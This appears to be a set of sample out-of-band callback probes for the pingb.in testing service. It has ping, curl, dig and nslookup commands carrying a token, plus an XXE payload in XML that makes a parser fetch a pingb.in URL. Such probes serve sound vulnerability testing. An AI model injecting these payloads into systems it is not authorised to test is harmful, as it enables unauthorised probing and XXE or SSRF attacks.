$ ping -c1 -p 0017392cea3204267a01df4e84645d00 pingb.in
$ curl pingb.in/p/17392cea3204267a01df4e84645d
$ dig 17392cea3204267a01df4e84645d @pingb.in
$ dig 17392cea3204267a01df4e84645d.ns.pingb.in
C:\> nslookup 17392cea3204267a01df4e84645d pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/17392cea3204267a01df4e84645d">]> <foo>&xxe;</foo>